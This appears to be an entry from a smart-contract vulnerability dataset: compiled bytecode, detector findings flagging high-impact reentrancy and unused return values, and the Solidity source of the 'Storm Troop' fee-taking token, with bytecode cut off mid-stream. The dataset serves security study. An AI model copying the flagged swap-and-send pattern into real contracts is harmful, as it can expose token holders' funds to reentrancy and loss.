ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161209395949392919061364a565b600060405180830381600087803b1580156120ad57600080fd5b505af11580156120c1573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6120ef838383612182565b505050565b6000808311829061213b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612132919061276e565b60405180910390fd5b506000838561214a9190613437565b9050809150509392505050565b600080600061216461234d565b9150915061217b8183611d4790919063ffffffff16565b9250505090565b600080600080600080612194876123af565b9550955095509550955095506121f286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d3816124bf565b6122dd848361257c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233a91906128bd565b60405180910390a3505050505050505050565b60008060006008549050600068056bc75e2d63100000905061238368056bc75e2d63100000600854611d4790919063ffffffff16565b8210156123a25760085468056bc75e2d631000009350935050506123ab565b81819350935050505b9091565b60008060008060008060008060006123cc8a600a54600b546125b6565b92509250925060006123dc612157565b905060008060006123ef8e87878761264c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061245983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c69565b905092915050565b600080828461247091906132b8565b9050838110156124b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ac906136f0565b60405180910390fd5b8091505092915050565b60006124c9612157565b905060006124e08284611ccd90919063ffffffff16565b905061253481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125918260085461241790919063ffffffff16565b6008819055506125ac8160095461246190919063ffffffff16565b6009819055505050565b6000806000806125e260646125d4888a611ccd90919063ffffffff16565b611d4790919063ffffffff16565b9050600061260c60646125fe888b611ccd90919063ffffffff16565b611d4790919063ffffffff16565b9050600061263582612627858c61241790919063ffffffff16565b61241790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126658589611ccd90919063ffffffff16565b9050600061267c8689611ccd90919063ffffffff16565b905060006126938789611ccd90919063ffffffff16565b905060006126bc826126ae858761241790919063ffffffff16565b61241790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561270f5780820151818401526020810190506126f4565b8381111561271e576000848401525b50505050565b6000601f19601f8301169050919050565b6000612740826126d5565b61274a81856126e0565b935061275a8185602086016126f1565b61276381612724565b840191505092915050565b600060208201905081810360008301526127888184612735565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127cf826127a4565b9050919050565b6127df816127c4565b81146127ea57600080fd5b50565b6000813590506127fc816127d6565b92915050565b6000819050919050565b61281581612802565b811461282057600080fd5b50565b6000813590506128328161280c565b92915050565b6000806040838503121561284f5761284e61279a565b5b600061285d858286016127ed565b925050602061286e85828601612823565b9150509250929050565b60008115159050919050565b61288d81612878565b82525050565b60006020820190506128a86000830184612884565b92915050565b6128b781612802565b82525050565b60006020820190506128d260008301846128ae565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61291582612724565b810181811067ffffffffffffffff82111715612934576129336128dd565b5b80604052505050565b6000612947612790565b9050612953828261290c565b919050565b600067ffffffffffffffff821115612973576129726128dd565b5b602082029050602081019050919050565b600080fd5b600061299c61299784612958565b61293d565b905080838252602082019050602084028301858111156129bf576129be612984565b5b835b818110156129e857806129d488826127ed565b8452602084019350506020810190506129c1565b5050509392505050565b600082601f830112612a0757612a066128d8565b5b8135612a17848260208601612989565b91505092915050565b600060208284031215612a3657612a3561279a565b5b600082013567ffffffffffffffff811115612a5457612a5361279f565b5b612a60848285016129f2565b91505092915050565b600080600060608486031215612a8257612a8161279a565b5b6000612a90868287016127ed565b9350506020612aa1868287016127ed565b9250506040612ab286828701612823565b9150509250925092565b600060208284031215612ad257612ad161279a565b5b6000612ae0848285016127ed565b91505092915050565b600060ff82169050919050565b612aff81612ae9565b82525050565b6000602082019050612b1a6000830184612af6565b92915050565b612b2981612878565b8114612b3457600080fd5b50565b600081359050612b4681612b20565b92915050565b600060208284031215612b6257612b6161279a565b5b6000612b7084828501612b37565b91505092915050565b600060208284031215612b8f57612b8e61279a565b5b6000612b9d84828501612823565b91505092915050565b612baf816127c4565b82525050565b6000602082019050612bca6000830184612ba6565b92915050565b60008060408385031215612be757612be661279a565b5b6000612bf5858286016127ed565b9250506020612c06858286016127ed565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c466020836126e0565b9150612c5182612c10565b602082019050919050565b60006020820190508181036000830152612c7581612c39565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612ce582612802565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d1757612d16612cab565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d586017836126e0565b9150612d6382612d22565b602082019050919050565b60006020820190508181036000830152612d8781612d4b565b9050919050565b600081519050612d9d816127d6565b92915050565b600060208284031215612db957612db861279a565b5b6000612dc784828501612d8e565b91505092915050565b6000604082019050612de56000830185612ba6565b612df26020830184612ba6565b9392505050565b6000819050919050565b6000819050919050565b6000612e28612e23612e1e84612df9565b612e03565b612802565b9050919050565b612e3881612e0d565b82525050565b600060c082019050612e536000830189612ba6565b612e6060208301886128ae565b612e6d6040830187612e2f565b612e7a6060830186612e2f565b612e876080830185612ba6565b612e9460a08301846128ae565b979650505050505050565b600081519050612eae8161280c565b92915050565b600080600060608486031215612ecd57612ecc61279a565b5b6000612edb86828701612e9f565b9350506020612eec86828701612e9f565b9250506040612efd86828701612e9f565b9150509250925092565b6000604082019050612f1c6000830185612ba6565b612f2960208301846128ae565b9392505050565b600081519050612f3f81612b20565b92915050565b600060208284031215612f5b57612f5a61279a565b5b6000612f6984828501612f30565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fce6024836126e0565b9150612fd982612f72565b604082019050919050565b60006020820190508181036000830152612ffd81612fc1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130606022836126e0565b915061306b82613004565b604082019050919050565b6000602082019050818103600083015261308f81613053565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130f26025836126e0565b91506130fd82613096565b604082019050919050565b60006020820190508181036000830152613121816130e5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131846023836126e0565b915061318f82613128565b604082019050919050565b600060208201905081810360008301526131b381613177565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006132166029836126e0565b9150613221826131ba565b604082019050919050565b6000602082019050818103600083015261324581613209565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006132826019836126e0565b915061328d8261324c565b602082019050919050565b600060208201905081810360008301526132b181613275565b9050919050565b60006132c382612802565b91506132ce83612802565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561330357613302612cab565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613344601a836126e0565b915061334f8261330e565b602082019050919050565b6000602082019050818103600083015261337381613337565b9050919050565b600061338582612802565b915061339083612802565b9250828210156133a3576133a2612cab565b5b828203905092915050565b60006133b982612802565b91506133c483612802565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133fd576133fc612cab565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061344282612802565b915061344d83612802565b92508261345d5761345c613408565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134c46021836126e0565b91506134cf82613468565b604082019050919050565b600060208201905081810360008301526134f3816134b7565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613556602a836126e0565b9150613561826134fa565b604082019050919050565b6000602082019050818103600083015261358581613549565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6135c1816127c4565b82525050565b60006135d383836135b8565b60208301905092915050565b6000602082019050919050565b60006135f78261358c565b6136018185613597565b935061360c836135a8565b8060005b8381101561363d57815161362488826135c7565b975061362f836135df565b925050600181019050613610565b5085935050505092915050565b600060a08201905061365f60008301886128ae565b61366c6020830187612e2f565b818103604083015261367e81866135ec565b905061368d6060830185612ba6565b61369a60808301846128ae565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006136da601b836126e0565b91506136e5826136a4565b602082019050919050565b60006020820190508181036000830152613709816136cd565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f253e49cd5c50fb4c0dd627e40acd0440ce812c81c1f7fb67a44e215c7e5152964736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
484
0xb23c69FC7737e2bD0A579F7a8c7aeef194ff91A1
//SPDX-License-Identifier: MIT // Telegram: t.me/StormTroopToken pragma solidity ^0.8.7; uint256 constant INITIAL_TAX=9; uint256 constant TOTAL_SUPPLY=100000000; string constant TOKEN_SYMBOL="STORM"; string constant TOKEN_NAME="Storm Troop"; uint8 constant DECIMALS=6; uint256 constant TAX_THRESHOLD=1000000000000000000; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract StormTroop is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(32); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function removeBuyLimit() public onlyTaxCollector{ _maxTxAmount=_tTotal; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyTaxCollector { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswap), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external onlyTaxCollector{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyTaxCollector{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102ed578063a9059cbb14610316578063dd62ed3e14610353578063f429389014610390576100fe565b806370a0823114610243578063715018a6146102805780638da5cb5b1461029757806395d89b41146102c2576100fe565b8063293230b8116100c6578063293230b8146101d3578063313ce567146101ea5780633e07ce5b1461021557806351bc3c851461022c576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b6040516101259190612492565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612032565b6103e4565b6040516101629190612477565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d9190612614565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611fdf565b610426565b6040516101ca9190612477565b60405180910390f35b3480156101df57600080fd5b506101e86104ff565b005b3480156101f657600080fd5b506101ff6109f9565b60405161020c9190612689565b60405180910390f35b34801561022157600080fd5b5061022a610a02565b005b34801561023857600080fd5b50610241610a88565b005b34801561024f57600080fd5b5061026a60048036038101906102659190611f45565b610b02565b6040516102779190612614565b60405180910390f35b34801561028c57600080fd5b50610295610b53565b005b3480156102a357600080fd5b506102ac610ca6565b6040516102b991906123a9565b60405180910390f35b3480156102ce57600080fd5b506102d7610ccf565b6040516102e49190612492565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f919061209f565b610d0c565b005b34801561032257600080fd5b5061033d60048036038101906103389190612032565b610d84565b60405161034a9190612477565b60405180910390f35b34801561035f57600080fd5b5061037a60048036038101906103759190611f9f565b610da2565b6040516103879190612614565b60405180910390f35b34801561039c57600080fd5b506103a5610e29565b005b60606040518060400160405280600b81526020017f53746f726d2054726f6f70000000000000000000000000000000000000000000815250905090565b60006103f86103f1610ee5565b8484610eed565b6001905092915050565b60006006600a61041291906127d3565b6305f5e10061042191906128f1565b905090565b60006104338484846110b8565b6104f48461043f610ee5565b6104ef85604051806060016040528060288152602001612e0b60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a5610ee5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114719092919063ffffffff16565b610eed565b600190509392505050565b610507610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461056057600080fd5b600c60149054906101000a900460ff16156105b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a790612514565b60405180910390fd5b6105f930600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006600a6105e591906127d3565b6305f5e1006105f491906128f1565b610eed565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561066157600080fd5b505afa158015610675573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106999190611f72565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561071d57600080fd5b505afa158015610731573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107559190611f72565b6040518363ffffffff1660e01b81526004016107729291906123c4565b602060405180830381600087803b15801561078c57600080fd5b505af11580156107a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c49190611f72565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061084d30610b02565b600080610858610ca6565b426040518863ffffffff1660e01b815260040161087a96959493929190612416565b6060604051808303818588803b15801561089357600080fd5b505af11580156108a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108cc91906120cc565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff021916908315150217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109a49291906123ed565b602060405180830381600087803b1580156109be57600080fd5b505af11580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190612072565b50565b60006006905090565b610a0a610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6357600080fd5b6006600a610a7191906127d3565b6305f5e100610a8091906128f1565b600a81905550565b610a90610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae957600080fd5b6000610af430610b02565b9050610aff816114d5565b50565b6000610b4c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175d565b9050919050565b610b5b610ee5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdf90612594565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f53544f524d000000000000000000000000000000000000000000000000000000815250905090565b610d14610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d6d57600080fd5b60098110610d7a57600080fd5b8060088190555050565b6000610d98610d91610ee5565b84846110b8565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e31610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8a57600080fd5b6000479050610e98816117cb565b50565b6000610edd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611837565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f54906125f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc4906124f4565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ab9190612614565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111f906125d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118f906124b4565b60405180910390fd5b600081116111db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d2906125b4565b60405180910390fd5b6111e3610ca6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112515750611221610ca6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561146157600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113015750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156113575750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113a157600a5481106113a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139790612554565b60405180910390fd5b5b60006113ac30610b02565b9050600c60159054906101000a900460ff161580156114195750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156114315750600c60169054906101000a900460ff165b1561145f5761143f816114d5565b6000479050670de0b6b3a7640000811061145d5761145c476117cb565b5b505b505b61146c83838361189a565b505050565b60008383111582906114b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b09190612492565b60405180910390fd5b50600083856114c8919061294b565b9050809150509392505050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561150d5761150c612aa6565b5b60405190808252806020026020018201604052801561153b5781602001602082028036833780820191505090505b509050308160008151811061155357611552612a77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156115f557600080fd5b505afa158015611609573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162d9190611f72565b8160018151811061164157611640612a77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffff